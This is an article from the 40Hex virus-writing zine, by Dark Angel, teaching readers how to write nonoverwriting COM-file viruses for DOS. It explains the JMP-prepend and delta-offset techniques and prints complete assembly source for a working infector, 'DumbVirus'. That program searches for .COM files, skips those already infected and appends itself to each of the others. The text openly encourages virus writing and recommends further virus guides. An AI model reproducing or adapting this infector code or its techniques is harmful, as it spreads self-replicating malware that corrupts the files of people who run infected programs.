home *** CD-ROM | disk | FTP | other *** search
- 40Hex Number 7 Volume 2 Issue 3 File 003
-
- ───────────────────────────────────────
- An Introduction to Nonoverwriting Virii
- By Dark Angel
- ───────────────────────────────────────
-
- It seems that there are quite a few virus writers out there who just sit at
- home and churn out hacks of virii. Yay. Anybody with a disassembler and
- some free time can churn out dozens of undetectable (unscannable) variants
- of any given virus in an hour. Others have not progressed beyond the
- overwriting virus, the type of virus with the most limited potential for
- spreading. Still others have never written a virus before and would like
- to learn. This article is designed as a simple introduction to all
- interested to the world of nonoverwriting virii. All that is assumed is a
- working knowledge of 80x86 assembly language.
-
- Only the infection of COM files will be treated in this article, since the
- infection routine is, I think, easier to understand and certainly easier to
- code than that of EXE files. But do not dispair! EXE infections will be
- covered in the next issue of 40Hex.
-
- COM files are described by IBM and Microsoft as "memory image files."
- Basically, when a COM file is run, the file is loaded as is into memory.
- No translation or interpretation of any sort takes place. The following
- steps occur when a COM file is run:
-
- 1) A PSP is built.
- 2) The file is loaded directly above the PSP.
- 3) The program is run starting from the beginning.
-
- The PSP is a 256 byte header storing such vital data as the command line
- parametres used to call the program. The file is located starting at
- offset 100h of the segment where the program is loaded. Due to the 64K
- limit on segment length, COM files may only be a maximum of 64K-100h bytes
- long, or 65280 bytes. If you infect a COM file, make sure the final size
- is below this amount or the PSP will get corrupted.
-
- Since the beginning of the file is at offset 100h in the segment (this is
- the reason for the org 100h at the start of assembly source for com files),
- the initial IP is set to 100h. The key to understanding nonoverwriting COM
- virii is to remember that once the program is loaded into memory, it can be
- changed at will without affecting the actual file on disk.
-
- The strategy of an overwriting virus is to write the virus to the beginning
- of the COM file. This, of course, utterly annihilates the original program.
- This, of course, is lame. The nonoverwriting virus changes only the first
- few bytes and tacks the virus onto the end of the executable. The new
- bytes at the beginning of the file cause the program, once loaded, to jump
- to the virus code. After the virus is done executing, the original first
- few bytes are rewritten to the area starting at 100h and a jmp instruction
- is executed to that location (100h). The infected program is none the
- worse for the wear and will run without error.
-
- The trick is to find the correct bytes to add to the beginning of the file.
- The most common method is to use a JMP instruction followed by a two byte
- displacement. Since these three bytes replace three bytes of the original
- program, it is important to save these bytes upon infection. The JMP is
- encoded with a byte of 0e9h and the displacement is simply the old file
- length minus three.
-
- To replace the old bytes, simply use code similar to the following:
- mov di, 100h
- mov si, offset saved_bytes
- movsw
- movsb
-
- And to return control to the original program, use the following:
- mov di, 100h
- jmp di
-
- or any equivalent statements.
-
- When writing nonoverwriting virii, it is important to understand that the
- variables used in the code will not be in their original locations. Since
- virii are added to the end of the file, you must take the filesize into
- account when calculating offsets. The standard procedure is to use the
- short combination of statements:
-
- call oldtrick
- oldtrick:
- pop bp ; bp = current IP
- sub bp, offset oldtrick ; subtract from original offset
-
- After these statements have been executed, bp will hold the difference in
- the new offsets of the variables from the original. To account for the
- difference, make the following substitutions in the viral code:
-
- lea dx, [bp+offset variable]
- instead of
- mov dx, offset variable
-
- and
-
- mov dx, word ptr [bp+offset variable]
- instead of
- mov dx, word ptr variable
-
- Alternatively, if you want to save a few bytes and are willing to suffer
- some headaches, leave out the sub bp, offset oldtrick and calculate all
- offsets as per the procedure above EXCEPT you must now also subtract offset
- oldtrick from each of the offsets.
-
- The following is a short nonoverwriting virus which will hopefully help in
- your understanding of the techniques explained above. It's sort of cheesy,
- since I designed it to be small and easily understandable. In addition to
- being inefficient (in terms of size), it fails to preserve file date/time
- and will not infect read-only files. However, it serves its purpose well
- as a teaching aid.
-
- --------Tear line----------------------------------------------------------
-
- DumbVirus segment
- Assume CS:DumbVirus
- Org 100h ; account for PSP
-
- ; Dumb Virus - 40Hex demo virus
- ; Assemble with TASM /m2
-
- Start: db 0e9h ; jmp duh
- dw 0
-
- ; This is where the virus starts
- duh: call next
- next: pop bp ; bp holds current location
- sub bp, offset next ; calculate net change
-
- ; Restore the original first three bytes
- lea si, [bp+offset stuff]
- mov di, 100h
- ; Put 100h on the stack for the retn later
- ; This will allow for the return to the beginning of the file
- push di
- movsw
- movsb
-
- ; Change DTA from default (otherwise Findfirst/next will destroy
- ; commandline parametres
- lea dx, [bp+offset dta]
- call set_dta
-
- mov ah, 4eh ; Find first
- lea dx, [bp+masker] ; search for '*.COM',0
- xor cx, cx ; attribute mask - this is unnecessary
- tryanother:
- int 21h
- jc quit ; Quit on error
-
- ; Open file for read/write
- ; Note: This fails on read-only files
- mov ax, 3D02h
- lea dx, [bp+offset dta+30] ; File name is located in DTA
- int 21h
- xchg ax, bx
-
- ; Read in the first three bytes
- mov ah, 3fh
- lea dx, [bp+stuff]
- mov cx, 3
- int 21h
-
- ; Check for previous infection
- mov ax, word ptr [bp+dta+26] ; ax = filesize
- mov cx, word ptr [bp+stuff+1] ; jmp location
- add cx, eov - duh + 3 ; convert to filesize
- cmp ax, cx ; if same, already infected
- jz close ; so quit out of here
-
- ; Calculate the offset of the jmp
- sub ax, 3 ; ax = filesize - 3
- mov word ptr [bp+writebuffer], ax
-
- ; Go to the beginning of the file
- xor al, al
- call f_ptr
-
- ; Write the three bytes
- mov ah, 40h
- mov cx, 3
- lea dx, [bp+e9]
- int 21h
-
- ; Go to the end of the file
- mov al, 2
- call f_ptr
-
- ; And write the rest of the virus
- mov ah, 40h
- mov cx, eov - duh
- lea dx, [bp+duh]
- int 21h
-
- close:
- mov ah, 3eh
- int 21h
-
- ; Try infecting another file
- mov ah, 4fh ; Find next
- jmp short tryanother
-
- ; Restore the DTA and return control to the original program
- quit: mov dx, 80h ; Restore current DTA to
- ; the default @ PSP:80h
- set_dta:
- mov ah, 1ah ; Set disk transfer address
- int 21h
- retn
- f_ptr: mov ah, 42h
- xor cx, cx
- cwd ; equivalent to: xor dx, dx
- int 21h
- retn
-
- masker db '*.com',0
- ; Original three bytes of the infected file
- ; Currently holds a INT 20h instruction and a null byte
- stuff db 0cdh, 20h, 0
- e9 db 0e9h
- eov equ $ ; End of the virus
- ; The following variables are stored in the heap space (the area between
- ; the stack and the code) and are not part of the virus that is written
- ; to files.
- writebuffer dw ? ; Scratch area holding the
- ; JMP offset
- dta db 42 dup (?)
- DumbVirus ENDS
- END Start
-
- ---------------------------------------------------------------------------
-
- Do not worry if not everything makes sense to you just yet. I tried to
- keep the example virus as simple as possible, although, admittedly, the
- explanations were a bit cryptic. It should all come to you in time.
-
- For a more complete discussion of nonoverwriting virii, pick up a copy of
- each of the first three parts of my virus writing guide (the phunky, the
- chunky, and the crunchy), where you may find a thorough tutorial on
- nonresident virii suitable for any beginning virus programmer.
-